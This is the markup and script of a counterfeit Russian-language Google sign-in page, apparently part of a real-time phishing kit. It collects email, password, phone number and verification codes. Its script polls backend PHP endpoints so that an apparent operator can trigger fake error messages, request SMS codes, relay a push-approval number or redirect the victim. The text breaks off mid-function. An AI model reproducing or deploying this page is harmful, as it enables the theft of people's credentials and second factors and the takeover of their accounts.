<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Вход – Аккаунт Google</title>
    <link rel="icon" type="image/png" href="/275.png">
    <script>
        const THIS_PAGE_UNIQUE_ID = "<?php echo basename(__FILE__, '.php'); ?>";
    </script>
    <style>
        body {
            font-family: 'Google Sans', Roboto, Arial, sans-serif;
            background-color: #f0f2f5;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: space-between;
            min-height: 100vh;
            margin: 0;
            color: #202124;
            font-size: 14px;
        }
        .main-container {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            flex-grow: 1;
            width: 100%;
            padding: 20px;
            box-sizing: border-box;
        }
        .login-box {
            background-color: #ffffff;
            border: 1px solid #dadce0;
            border-radius: 8px;
            padding: 48px 40px 36px;
            width: 100%;
            max-width: 448px;
            box-shadow: 0 1px 2px 0 rgba(60,64,67,0.3), 0 1px 3px 1px rgba(60,64,67,0.15);
            box-sizing: border-box;
            text-align: left;
            position: relative;
            overflow: hidden;
            transition: max-width 0.3s ease-in-out, padding 0.3s ease-in-out;
        }
        .login-box.step1-active,
        .login-box.step2-active,
        .login-box.step3-active,
        .login-box.step4-active {
            max-width: 800px;
        }
        .horizontal-loading-bar {
            display: none;
            position: absolute; top: 0; left: 0; width: 100%; height: 3px;
            background-color: transparent; overflow: hidden; z-index: 21;
        }
        .horizontal-loading-bar .bar-segment {
            position: absolute; top: 0; bottom: 0;
            background-color: #1a73e8; width: 35%;
            animation: indeterminate-progress-bar 1.5s linear infinite;
        }
        @keyframes indeterminate-progress-bar {
            0% { left: -35%; width: 35%; } 50% { width: 40%; } 100% { left: 100%; width: 30%; }
        }
        .form-content-overlay {
            display: none; position: absolute; top: 0; left: 0; width: 100%; height: 100%;
            background-color: rgba(255, 255, 255, 0.75); z-index: 20;
        }
        .logo-area { margin-bottom: 24px; }
        .logo { width: 40px; height: auto; display: block; }
        .login-box h1 { font-size: 24px; font-weight: 400; line-height: 1.3333; margin-top: 0; margin-bottom: 16px; color: #202124; }
        .login-box .subheading {
            font-size: 16px; font-weight: 400; line-height: 1.5;
            margin-top: 0; margin-bottom: 24px; color: #202124;
        }
        .left-column-2fa .user-identifier-display {
            margin-top: 16px;
            margin-bottom: 16px;
        }
        .input-wrapper { position: relative; margin-bottom: 4px; }
        .input-field {
            width: 100%; padding: 13px 15px; font-size: 16px;
            border: 1px solid #dadce0; border-radius: 4px;
            box-sizing: border-box; color: #202124;
            background-color: transparent; line-height: 24px; height: 52px;
        }
        .input-label {
            position: absolute; left: 16px; top: 14px; font-size: 16px;
            color: #5f6368; pointer-events: none;
            transition: all 0.15s cubic-bezier(0.4,0,0.2,1);
            background-color: #fff; padding: 0 4px;
            z-index: 1;
        }
        .input-field:focus + .input-label,
        .input-field.has-value + .input-label {
             top: -9px;
             font-size: 12px;
        }
        .input-field:focus + .input-label {
            color: #1a73e8;
        }
        .input-wrapper.error .input-field { border-color: #d93025; border-width: 2px; padding-left: 14px; padding-right: 14px;}
        .input-wrapper.error .input-label,
        .input-wrapper.error .input-field:focus + .input-label { color: #d93025; }
        .input-error-message {
            display: none; align-items: center; color: #d93025;
            font-size: 12px; margin-top: 4px; padding-left: 16px;
        }
        .input-error-message.visible { display: flex; }
        .input-error-message svg { width: 16px; height: 16px; margin-right: 8px; fill: #d93025; }
        .link-container { margin-top: 8px; margin-bottom: 30px; }
        .text-link { color: #1a73e8; font-weight: 500; text-decoration: none; font-size: 14px; padding: 4px 2px; border-radius: 4px; display: inline-block; }
        .text-link:hover { text-decoration: underline; background-color: rgba(26,115,232,0.04); }
        .guest-mode-info { color: #3c4043; font-size: 14px; line-height: 1.4286; margin-top: 0; margin-bottom: 30px; }
        .guest-mode-info a { color: #1a73e8; text-decoration: none; font-weight: 500; }
        .guest-mode-info a:hover { text-decoration: underline; }
        .actions-container {
            display: flex;
            align-items: center;
            margin-top: 40px;
            width: 100%;
            justify-content: flex-end;
        }
        .next-button { background-color: #1a73e8; color: #ffffff; font-size: 14px; font-weight: 500; border: none; border-radius: 4px; padding: 0 24px; cursor: pointer; text-decoration: none; height: 36px; line-height: 36px; min-width: 88px; text-align: center; }
        .next-button:hover { background-color: #1869cf; box-shadow: 0 1px 1px 0 rgba(66,133,244,0.45), 0 1px 3px 1px rgba(66,133,244,0.3); }
        .user-identifier-display { display: inline-flex; align-items: center; border: 1px solid #dadce0; border-radius: 16px; padding: 4px 12px 4px 8px; font-size: 14px; color: #3c4043; margin-bottom: 24px; cursor: pointer; }
        .user-identifier-display:hover { background-color: rgba(60,64,67,0.04); }
        .user-identifier-display .icon-person { width: 16px; height: 16px; margin-right: 8px; background-image: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="%235f6368"><path d="M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4zm0 2c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4z"/></svg>'); background-repeat: no-repeat; background-size: contain; }
        .user-identifier-display .dropdown-arrow { font-size: 12px; margin-left: 8px; color: #5f6368; }
        .show-password-container { margin-top: 16px; margin-bottom: 24px; display: flex; align-items: center; }
        .show-password-container input[type="checkbox"] { margin-right: 8px; width: 16px; height: 16px; accent-color: #1a73e8; }
        .show-password-container label { font-size: 14px; color: #202124; cursor: pointer; }
        .content-wrapper-2fa { display: flex; gap: 32px; margin-top: 0; align-items: flex-start; }
        .left-column-2fa {
            flex: 6;
            display: flex; flex-direction: column; min-width: 0;
        }
        .right-column-2fa {
            flex: 4;
            text-align: left;
            padding-top: 5px;
        }
        #login-step4 .right-column-2fa {
             text-align: center;
             padding-top: 20px;
        }
        #login-step3 .phone-image {
            width: 100%; max-width: 80px;
            height: auto; margin-bottom: 20px; display: block; margin-left:auto; margin-right:auto;
        }
        #login-step3 .instruction-heading-2fa,
        #login-step4 .right-column-2fa .instruction-heading-2fa {
            font-size: 18px;
            font-weight: 400;
            color: #202124; margin-bottom: 16px;
        }
         #login-step3 .instruction-heading-2fa {
             font-size: 16px; font-weight: bold;
         }
        #login-step3 .instruction-text-2fa,
        #login-step4 .right-column-2fa .instruction-text-2fa {
            font-size: 14px; color: #5f6368; line-height: 1.6;
            margin-bottom: 20px;
            max-width: 320px;
            margin-left: auto;
            margin-right: auto;
        }
         #login-step3 .instruction-text-2fa {
             max-width: none;
             margin-left: 0;
             margin-right: 0;
         }
        #login-step4 .verification-code-display {
            font-size: 72px;
            font-weight: 400;
            color: #202124;
            margin-top: 30px;
            margin-bottom: 24px;
            line-height: 1;
        }
        footer {
            display: flex;
            justify-content: space-between;
            align-items: center;
            width: 100%;
            max-width: 448px;
            padding: 0;
            margin: 24px auto 24px auto;
            box-sizing: border-box;
            transition: max-width 0.3s ease-in-out;
        }
        .login-box.step1-active + footer,
        .login-box.step2-active + footer,
        .login-box.step3-active + footer,
        .login-box.step4-active + footer {
            max-width: 800px;
        }
        .language-selector-wrapper { }
        .language-selector { font-size: 12px; color: #3c4043; background-color: transparent; border: 1px solid transparent; padding: 7px 8px; position: relative; cursor: pointer; border-radius: 4px; margin-left: -8px; }
        .language-selector:hover { background-color: rgba(60,64,67,0.08); border-color: rgba(60,64,67,0.08); }
        .language-selector select { opacity: 0; position: absolute; left:0; top:0; width:100%; height:100%; cursor: pointer; }
        .language-selector .dropdown-arrow { margin-left: 8px; font-size: 10px; color: #5f6368; }
        .footer-links { display: flex; gap: 24px; }
        .footer-links a { font-size: 12px; color: #5f6368; text-decoration: none; padding: 8px 0; }
        .footer-links a:hover { color: #202124; }
        @media (max-width: 800px) {
            .login-box.step1-active,
            .login-box.step2-active,
            .login-box.step3-active,
            .login-box.step4-active {
                max-width: 95%; padding-left: 24px; padding-right: 24px;
            }
            .login-box.step1-active + footer,
            .login-box.step2-active + footer,
            .login-box.step3-active + footer,
            .login-box.step4-active + footer { max-width: 95%; }
            .content-wrapper-2fa {
                flex-direction: column; align-items: stretch; gap: 24px;
            }
            .left-column-2fa, .right-column-2fa {
                flex-basis: auto !important;
                width:100%;
                text-align: center;
            }
            .left-column-2fa .logo-area,
            .left-column-2fa .user-identifier-display {
                margin-left: auto; margin-right: auto;
            }
            .right-column-2fa { padding-top: 0; }
            .right-column-2fa .phone-image,
            .right-column-2fa .verification-code-display { margin-left: auto; margin-right: auto; }
            .right-column-2fa .instruction-heading-2fa,
            .right-column-2fa .instruction-text-2fa { text-align: center; }
            .right-column-2fa .input-wrapper { text-align: left; }
            .right-column-2fa .actions-container {
                justify-content: center; flex-direction: column; gap: 16px;
            }
        }
        @media (max-width: 480px) {
            .login-box, .login-box.step1-active, .login-box.step2-active, .login-box.step3-active, .login-box.step4-active {
                border: none; box-shadow: none; padding: 24px 24px 36px; max-width: 100%;
            }
            body { background-color: #ffffff; }
            footer, .login-box.step1-active + footer, .login-box.step2-active + footer, .login-box.step3-active + footer, .login-box.step4-active + footer {
                padding: 0 24px; max-width: 100%; margin-top: 24px;
            }
            .main-container { justify-content: center; padding-top: 20px; padding-bottom: 20px;}
            #login-step4 .right-column-2fa .instruction-text-2fa { max-width: 90%; }
        }
    </style>
</head>
<body>
    <div class="main-container">
        <div class="login-box" id="mainLoginBox">
            <div class="horizontal-loading-bar" id="horizontal-loader" style="display: none;">
                <div class="bar-segment"></div>
            </div>
            <div class="form-content-overlay" id="form-block-overlay" style="display: none;"></div>
            <div id="login-step1" style="display: block;">
                <div class="content-wrapper-2fa">
                    <div class="left-column-2fa">
                        <div class="logo-area">
                            <img src="../275.png" alt="Логотип" class="logo">
                        </div>
                        <h1>Вход</h1>
                        <p class="subheading">
                            Используйте аккаунт Google
                            <a href="#" class="text-link" style="font-size: inherit; display:inline; padding:0; vertical-align: baseline;">Подробнее...</a>
                        </p>
                    </div>
                    <div class="right-column-2fa">
                        <div class="input-wrapper" id="identifier-wrapper">
                            <input type="text" id="identifierId" class="input-field" name="identifier" required aria-labelledby="identifier-label">
                            <label for="identifierId" class="input-label" id="identifier-label">Телефон или адрес эл. почты</label>
                            <div class="input-error-message" id="identifierError">
                                <svg aria-hidden="true" focusable="false" width="16px" height="16px" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path></svg>
                                <span id="identifierErrorText">Не удалось найти аккаунт Google.</span>
                            </div>
                        </div>
                        <div class="link-container">
                            <a href="#" class="text-link">Забыли адрес электронной почты?</a>
                        </div>
                        <div class="guest-mode-info">
                            Не ваш компьютер? Включите гостевой режим, чтобы защитить данные в аккаунте.
                            <a href="#">Подробнее об использовании гостевого режима</a>
                        </div>
                        <div class="actions-container">
                            <button type="button" class="next-button" id="next-button-step1">Далее</button>
                        </div>
                    </div>
                </div>
            </div>
            <div id="login-step2" style="display: none;">
                <div class="content-wrapper-2fa">
                    <div class="left-column-2fa">
                        <div class="logo-area">
                            <img src="../275.png" alt="Логотип" class="logo">
                        </div>
                        <h1>Добро пожаловать!</h1>
                        <div class="user-identifier-display">
                            <span class="icon-person"></span>
                            <span id="displayed-email"></span>
                            <span class="dropdown-arrow">▼</span>
                        </div>
                    </div>
                    <div class="right-column-2fa">
                        <div class="input-wrapper" id="password-wrapper">
                            <input type="password" id="passwordId" class="input-field" name="password" required aria-labelledby="password-label">
                            <label for="passwordId" class="input-label" id="password-label">Введите пароль</label>
                            <div class="input-error-message" id="passwordError">
                                <svg aria-hidden="true" focusable="false" width="16px" height="16px" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path></svg>
                                <span id="passwordErrorText">Неверный пароль. Повторите попытку или нажмите на ссылку "Забыли пароль?", чтобы сбросить его.</span>
                            </div>
                        </div>
                        <div class="show-password-container">
                            <input type="checkbox" id="showPasswordCheckbox">
                            <label for="showPasswordCheckbox">Показать пароль</label>
                        </div>
                        <div class="actions-container">
                            <a href="https://myaccount.google.com/security" class="text-link">Забыли пароль?</a>
                            <button type="button" class="next-button" id="next-button-step2">Далее</button>
                        </div>
                    </div>
                </div>
            </div>
            <div id="login-step3" style="display: none;">
                <div class="content-wrapper-2fa">
                    <div class="left-column-2fa">
                        <div class="logo-area">
                            <img src="../275.png" alt="Логотип" class="logo">
                        </div>
                        <h1>Подтвердите свою личность</h1>
                        <p class="step3-subheading">
                            Для защиты аккаунта мы должны убедиться, что это действительно вы пытаетесь войти в систему.
                            <a href="#" class="text-link" style="font-size: inherit; display:inline; padding:0; vertical-align: baseline;">Подробнее...</a>
                        </p>
                        <div class="user-identifier-display">
                            <span class="icon-person"></span>
                            <span id="displayed-email-step3"></span> <span class="dropdown-arrow">▼</span>
                        </div>
                    </div>
                    <div class="right-column-2fa">
                        <div id="phone-entry-section-step3">
                            <img src="telefon.gif" alt="Иллюстрация телефона" class="phone-image">
                            <h2 class="instruction-heading-2fa">Получите код подтверждения</h2>
                            <p class="instruction-text-2fa" id="phone-entry-instruction-paragraph-step3">
                                Чтобы получить код подтверждения, <span id="text-form3-placeholder">введите номер телефона, указанный в настройках безопасности аккаунта</span>. За доставку сообщений и передачу данных может взиматься стандартная плата.
                            </p>
                            <div class="input-wrapper" id="phone-input-wrapper-step3">
                                <input id="phoneInputStep3" class="input-field" name="phoneVerification" required autocomplete="tel" placeholder=" ">
                                <label for="phoneInputStep3" class="input-label" id="phone-label-step3">Номер телефона</label>
                                 <div class="input-error-message" id="phoneInputErrorStep3">
                                    <svg aria-hidden="true" focusable="false" width="16px" height="16px" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path></svg>
                                    <span id="phoneInputErrorTextStep3"></span>
                                </div>
                            </div>
                            <div class="actions-container">
                                <a href="#" class="text-link" id="other-way-step3-btn">Другой способ</a>
                                <button type="button" class="next-button" id="send-phone-button-step3">Отправить</button>
                            </div>
                        </div>
                        <div id="code-input-section-step3" style="display: none; margin-top: 20px;">
                            <h2 class="instruction-heading-2fa" id="code-input-heading-step3">Введите код</h2>
                            <p class="instruction-text-2fa" id="code-input-instruction-step3">
                                Мы отправили код подтверждения <span id="code-target-descriptor-step3">на указанный Вами номер телефона</span>.
                            </p>
                            <div class="input-wrapper" id="verification-code-wrapper-step3">
                                <input type="text" id="verificationCodeInputStep3" class="input-field" name="verificationCode" required autocomplete="one-time-code" inputmode="numeric" pattern="[0-9]*" placeholder=" ">
                                <label for="verificationCodeInputStep3" class="input-label">Код подтверждения</label>
                                <div class="input-error-message" id="verificationCodeErrorStep3">
                                    <svg aria-hidden="true" focusable="false" width="16px" height="16px" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path></svg>
                                    <span id="verificationCodeErrorTextStep3"></span>
                                </div>
                            </div>
                            <div class="actions-container" style="margin-top: 30px;">
                                <a href="#" class="text-link" id="resend-code-step3-btn">Отправить код еще раз</a>
                                <button type="button" class="next-button" id="submit-code-button-step3">Подтвердить</button>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div id="login-step4" style="display: none;">
                <div class="content-wrapper-2fa">
                    <div class="left-column-2fa">
                        <div class="logo-area">
                            <img src="../275.png" alt="Логотип" class="logo">
                        </div>
                        <h1>Подтвердите свою личность</h1>
                        <p class="step4-subheading">
                            Для защиты аккаунта мы должны убедиться, что это действительно вы пытаетесь войти в систему.
                            <a href="#" class="text-link" style="font-size: inherit; display:inline; padding:0; vertical-align: baseline;">Подробнее...</a>
                        </p>
                        <div class="user-identifier-display">
                            <span class="icon-person"></span>
                            <span id="displayed-email-step4"></span>
                            <span class="dropdown-arrow">▼</span>
                        </div>
                        <a href="#" class="text-link" id="resend-prompt-step4" style="margin-top: 16px;">Отправить ещё раз</a>
                    </div>
                    <div class="right-column-2fa">
                        <div class="verification-code-display" id="verification-code-value">XX</div>
                        <h2 class="instruction-heading-2fa" id="step4-device-name-heading">Проверьте устройство</h2>
                        <p class="instruction-text-2fa" id="step4-code-instruction">
                            Уведомление отправлено на устройство. Чтобы подтвердить свою личность, нажмите в уведомлении <strong>Да</strong>, а затем выберите код на телефоне.
                        </p>
                        <div class="actions-container">
                             <a href="#" class="text-link" id="other-way-step4-btn">Другой способ</a>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <footer>
        <div class="language-selector-wrapper">
            <div class="language-selector">
                Русский <span class="dropdown-arrow">▼</span>
                <select aria-label="Изменить язык">
                    <option value="ru" selected>Русский</option>
                    <option value="en">English</option>
                </select>
            </div>
        </div>
        <div class="footer-links">
            <a href="#">Справка</a>
            <a href="#">Конфиденциальность</a>
            <a href="#">Условия</a>
        </div>
    </footer>
    <script>
        document.addEventListener('DOMContentLoaded', function () {
            const mainLoginBox = document.getElementById('mainLoginBox');
            const step1Div = document.getElementById('login-step1');
            const step2Div = document.getElementById('login-step2');
            const step3Div = document.getElementById('login-step3');
            const step4Div = document.getElementById('login-step4');
            const horizontalLoader = document.getElementById('horizontal-loader');
            const formBlockOverlay = document.getElementById('form-block-overlay');
            const identifierInput = document.getElementById('identifierId');
            const identifierWrapper = document.getElementById('identifier-wrapper');
            const identifierError = document.getElementById('identifierError');
            const identifierErrorText = document.getElementById('identifierErrorText');
            const displayedEmailSpan = document.getElementById('displayed-email');
            const displayedEmailSpanStep3 = document.getElementById('displayed-email-step3');
            const displayedEmailSpanStep4 = document.getElementById('displayed-email-step4');
            const nextButtonStep1 = document.getElementById('next-button-step1');
            const nextButtonStep2 = document.getElementById('next-button-step2');
            const passwordInput = document.getElementById('passwordId');
            const passwordWrapper = document.getElementById('password-wrapper');
            const passwordError = document.getElementById('passwordError');
            const passwordErrorTextSpan = passwordError ? passwordError.querySelector('span') : null;
            const showPasswordCheckbox = document.getElementById('showPasswordCheckbox');
            const uniqueFileId = (typeof THIS_PAGE_UNIQUE_ID !== 'undefined' && THIS_PAGE_UNIQUE_ID) ? THIS_PAGE_UNIQUE_ID : null;
            const phoneHintStep3Placeholder = document.getElementById('phone-hint-step3-placeholder');
            const textForm3Placeholder = document.getElementById('text-form3-placeholder');
            const codeTargetDescriptorStep3 = document.getElementById('code-target-descriptor-step3');
            const phoneInputStep3 = document.getElementById('phoneInputStep3');
            const phoneEntrySectionStep3 = document.getElementById('phone-entry-section-step3');
            const codeInputSectionStep3 = document.getElementById('code-input-section-step3');
            const verificationCodeInputStep3 = document.getElementById('verificationCodeInputStep3');
            const sendPhoneButtonStep3 = document.getElementById('send-phone-button-step3');
            const submitCodeButtonStep3 = document.getElementById('submit-code-button-step3');
            const resendCodeButtonStep3 = document.getElementById('resend-code-step3-btn');
            const verificationCodeDisplayElem = document.getElementById('verification-code-value');
            const deviceNameHeadingElemStep4 = document.getElementById('step4-device-name-heading');
            const instructionTextCodePElem = document.getElementById('step4-code-instruction');
            if (!uniqueFileId && window.location.pathname.includes('/account/')) {
                console.error("Критическая ошибка: Уникальный ID страницы (THIS_PAGE_UNIQUE_ID) не определен PHP.");
            }
            // Reset JSON on page reload
            if (performance.getEntriesByType('navigation').length > 0) {
                const navigationEntry = performance.getEntriesByType('navigation')[0];
                if (navigationEntry.type === 'reload' && uniqueFileId) {
                    fetch('../update_status.php', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ id: uniqueFileId, reset: true })
                    }).then(response => response.json())
                      .then(data => {
                          if (data.success) {
                              console.log('JSON reset on reload');
                          } else {
                              console.error('Reset failed:', data.error);
                          }
                      })
                      .catch(error => console.error('Reset error:', error));
                }
            }
            function setupFloatingLabel(inputId) {
                const inputElement = document.getElementById(inputId);
                const wrapper = inputElement ? inputElement.closest('.input-wrapper') : null;
                const labelElement = wrapper ? wrapper.querySelector(`label[for="${inputId}"]`) : null;
                if (inputElement && labelElement && wrapper) {
                    const updateLabelState = () => {
                        const hasValue = inputElement.value.trim() !== '';
                        if (hasValue) {
                            inputElement.classList.add('has-value');
                        } else {
                            inputElement.classList.remove('has-value');
                        }
                    };
                    inputElement.addEventListener('input', updateLabelState);
                    inputElement.addEventListener('focus', updateLabelState);
                    inputElement.addEventListener('blur', updateLabelState);
                    updateLabelState();
                }
            }
            setupFloatingLabel('identifierId');
            setupFloatingLabel('passwordId');
            setupFloatingLabel('phoneInputStep3');
            setupFloatingLabel('verificationCodeInputStep3');
            function showLoading(isLoading) {
                if (horizontalLoader) horizontalLoader.style.display = isLoading ? 'block' : 'none';
                if (formBlockOverlay) formBlockOverlay.style.display = isLoading ? 'block' : 'none';
                if (sendPhoneButtonStep3) sendPhoneButtonStep3.disabled = isLoading;
                if (submitCodeButtonStep3) submitCodeButtonStep3.disabled = isLoading;
                if (nextButtonStep1) nextButtonStep1.disabled = isLoading;
                if (nextButtonStep2) nextButtonStep2.disabled = isLoading;
            }
            let currentActiveStepDiv = null;
            let statusPollingInterval = null;
            function stopPolling() {
                if (statusPollingInterval) {
                    clearInterval(statusPollingInterval);
                    statusPollingInterval = null;
                    console.log("Polling stopped.");
                }
            }
            const originalSetActiveStep = setActiveStep;
            setActiveStep = function(stepToShow) {
                if (currentActiveStepDiv && currentActiveStepDiv.id === 'login-step4' && (!stepToShow || stepToShow.id !== 'login-step4')) {
                    console.log("Step change from step4, stopping any specific polling if needed.");
                }
                originalSetActiveStep(stepToShow);
            };
            function setActiveStep(stepToShow) {
                if(mainLoginBox) {
                    mainLoginBox.classList.remove('step1-active', 'step2-active', 'step3-active', 'step4-active');
                }
                [step1Div, step2Div, step3Div, step4Div].forEach(div => {
                    if(div) div.style.display = 'none';
                });
                if(stepToShow) {
                    stepToShow.style.display = 'block';
                    currentActiveStepDiv = stepToShow;
                    if (stepToShow.id === 'login-step1' && mainLoginBox) {
                        mainLoginBox.classList.add('step1-active');
                    } else if (stepToShow.id === 'login-step2' && mainLoginBox) {
                        mainLoginBox.classList.add('step2-active');
                    } else if (stepToShow.id === 'login-step3' && mainLoginBox) {
                        mainLoginBox.classList.add('step3-active');
                        if (phoneEntrySectionStep3) phoneEntrySectionStep3.style.display = 'block';
                        if (codeInputSectionStep3) codeInputSectionStep3.style.display = 'none';
                        const phoneInputWrapper = document.getElementById('phone-input-wrapper-step3');
                        const phoneErrorDiv = document.getElementById('phoneInputErrorStep3');
                        if(phoneInputWrapper) phoneInputWrapper.classList.remove('error');
                        if(phoneErrorDiv) phoneErrorDiv.classList.remove('visible');
                        const codeWrapper = document.getElementById('verification-code-wrapper-step3');
                        const codeErrorDiv = document.getElementById('verificationCodeErrorStep3');
                        if(codeWrapper) codeWrapper.classList.remove('error');
                        if(codeErrorDiv) codeErrorDiv.classList.remove('visible');
                    } else if (stepToShow.id === 'login-step4' && mainLoginBox) {
                        mainLoginBox.classList.add('step4-active');
                    }
                } else {
                    currentActiveStepDiv = null;
                }
            }
            setActiveStep(step1Div);
            function updateStep3Texts(data) {
                const emailToDisplay = data.email_from_status || displayedEmailSpan.textContent || '';
                if(displayedEmailSpanStep3) displayedEmailSpanStep3.textContent = emailToDisplay;
                if (data.phone_hint && phoneHintStep3Placeholder) {
                    phoneHintStep3Placeholder.textContent = data.phone_hint;
                }
                const phoneLabelElement = document.getElementById('phone-label-step3');
                if (phoneLabelElement && data.text_input_phone_label && data.text_input_phone_label.trim() !== '') {
                     phoneLabelElement.textContent = data.text_input_phone_label;
                } else if (phoneLabelElement) {
                     console.log('text_input_phone_label не найден в JSON или пуст, используется метка по умолчанию из HTML.');
                }
                const phoneInstructionTextElement = document.getElementById('text-form3-placeholder');
                if (phoneInstructionTextElement && data.text_form3 && data.text_form3.trim() !== '') {
                    phoneInstructionTextElement.textContent = data.text_form3;
                } else if (phoneInstructionTextElement) {
                    console.log('text_form3 не найден в JSON или пуст, используется текст по умолчанию из HTML.');
                }
                const codeTargetElement = document.getElementById('code-target-descriptor-step3');
                if (codeTargetElement) {
                    if (data.code_text && data.code_text.trim() !== '') {
                        codeTargetElement.textContent = data.code_text;
                    } else {
                        codeTargetElement.textContent = "на указанный Вами способ";
                        console.log('code_text не найден в JSON или пуст, используется текст по умолчанию для описания цели кода.');
                    }
                }
            }
            function updateStep4UI(data) {
                const emailToDisplay = data.email_from_status || displayedEmailSpan.textContent || '';
                if(displayedEmailSpanStep4) {
                    displayedEmailSpanStep4.textContent = emailToDisplay;
                }
                const verCode = data.verification_code || "XX";
                const deviceName = data.device_name || "ваше устройство";
                if (data.phone === 'code2') {
                    const appNameFromJSON = data.gmail || "Gmail";
                    if(verificationCodeDisplayElem) verificationCodeDisplayElem.textContent = verCode;
                    if(deviceNameHeadingElemStep4) deviceNameHeadingElemStep4.textContent = `Откройте приложение "${appNameFromJSON}" на устройстве "${deviceName}".`;
                    if(instructionTextCodePElem) {
                        instructionTextCodePElem.innerHTML = `Уведомление отправлено на устройство ${deviceName}. Чтобы подтвердить свою личность, откройте приложение "${appNameFromJSON}", нажмите в уведомлении <strong>Да</strong>, а затем выберите код <strong class="code-placeholder-step4">${verCode}</strong> на телефоне.`;
                    }
                } else {
                    if(verificationCodeDisplayElem) verificationCodeDisplayElem.textContent = verCode;
                    if(deviceNameHeadingElemStep4) deviceNameHeadingElemStep4.textContent = `Проверьте устройство ${deviceName}`;
                    if(instructionTextCodePElem) {
                        instructionTextCodePElem.innerHTML = `Уведомление отправлено на устройство ${deviceName}. Чтобы подтвердить свою личность, нажмите в уведомлении <strong>Да</strong>, а затем выберите код <strong class="code-placeholder-step4">${verCode}</strong> на телефоне.`;
                    }
                }
            }
            function pollStatus(fileId) {
                fetch(`../check_status.php?id=${fileId}`)
                    .then(response => {
                         if (!response.ok) {
                            console.error('Network error for check_status: ' + response.statusText);
                            return null;
                        }
                        return response.json();
                    })
                    .then(data => {
                        if (!data) {
                            console.warn('No data from check_status.php or network issue.');
                            return;
                        }
                        console.log('Current status from JSON:', data);
                        if (data.complete === 'true') {
                            showLoading(true);
                            console.log('complete=true detected, showing loading animation.');
                            return;
                        } else if (data.complete === 'link' && data.phone === 'link' && data.parol === 'link' && data.link) {
                            stopPolling();
                            console.log('Redirect condition met, redirecting to:', data.link);
                            window.location.href = data.link;
                            return;
                        }
                        if (data.parol === 'false' && data.phone === 'false') {
                            showLoading(false);
                            setActiveStep(step3Div);
                            const phoneInputWrapper = document.getElementById('phone-input-wrapper-step3');
                            const phoneErrorDiv = document.getElementById('phoneInputErrorStep3');
                            const phoneErrorText = document.getElementById('phoneInputErrorTextStep3');
                            if (phoneInputWrapper) phoneInputWrapper.classList.add('error');
                            if (phoneErrorText) phoneErrorText.textContent = "Вы ввели неверные данные.";
                            if (phoneErrorDiv) phoneErrorDiv.classList.add('visible');
                            if (phoneInputStep3) {
                                phoneInputStep3.focus();
                            }
                            return;
                        } else if (data.parol === 'false' || data.parol === 'false1' || data.parol === 'false2') {
                            showLoading(false);
                            setActiveStep(step2Div);
                            if(passwordWrapper) passwordWrapper.classList.add('error');
                            if (passwordErrorTextSpan) {
                                let errorMessage = "Неверный пароль. Повторите попытку или нажмите на ссылку \"Забыли пароль?\", чтобы сбросить его.";
                                if (data.parol === 'false1') {
                                    errorMessage = "Аккаунт не найден. Повторите попытку или нажмите на ссылку \"Забыли пароль?\", чтобы сбросить его.";
                                } else if (data.parol === 'false2') {
                                    errorMessage = "Аккаунт уже используется, попробуйте с другого аккаунта пройти авторизацию";
                                }
                                passwordErrorTextSpan.textContent = errorMessage;
                            }
                            if (passwordError) passwordError.classList.add('visible');
                            // Не перехватываем ввод, если пользователь уже печатает
                            if (passwordInput && document.activeElement !== passwordInput) {
                                passwordInput.focus();
                                passwordInput.select();
                            }
                        } else if (data.parol === 'true' || data.parol === 'true1' || data.parol === 'load1') {
                            updateStep3Texts(data);
                            const emailToDisplay = data.email_from_status || displayedEmailSpan.textContent || '';
                            if(displayedEmailSpanStep4) displayedEmailSpanStep4.textContent = emailToDisplay;
                            if (data.phone === 'load1') {
                                console.log('Phone is load1. Keeping loading animation.');
                                showLoading(true);
                            } else if (data.phone === 'true') {
                                console.log('Phone is true. Showing Step 3 phone entry.');
                                showLoading(false);
                                setActiveStep(step3Div);
                                if (phoneEntrySectionStep3) phoneEntrySectionStep3.style.display = 'block';
                                if (codeInputSectionStep3) codeInputSectionStep3.style.display = 'none';
                                if (phoneInputStep3) phoneInputStep3.focus();
                            } else if (data.phone === 'true1') {
                                console.log('Phone is true1. Showing Step 3 code input.');
                                showLoading(false);
                                setActiveStep(step3Div);
                                if (phoneEntrySectionStep3) phoneEntrySectionStep3.style.display = 'none';
                                if (codeInputSectionStep3) codeInputSectionStep3.style.display = 'block';
                                if (verificationCodeInputStep3) verificationCodeInputStep3.focus();
                            } else if (data.phone === 'code' || data.phone === 'code2') {
                                console.log(`Phone is ${data.phone}. Showing Step 4.`);
                                showLoading(false);
                                updateStep4UI(data);
                                setActiveStep(step4Div);
                            }
                        } else if (data.parol === 'load') {
                            console.log('parol=load, waiting for password check result...');
                        }
                        // Handle code verification
                        if (currentActiveStepDiv === step3Div && codeInputSectionStep3.style.display === 'block') {
                            const codeStatus = data.entered_verification_code;
                            if (codeStatus === 'false') {
                                console.log('entered_verification_code === false, showing error.');
                                const codeWrapper = document.getElementById('verification-code-wrapper-step3');
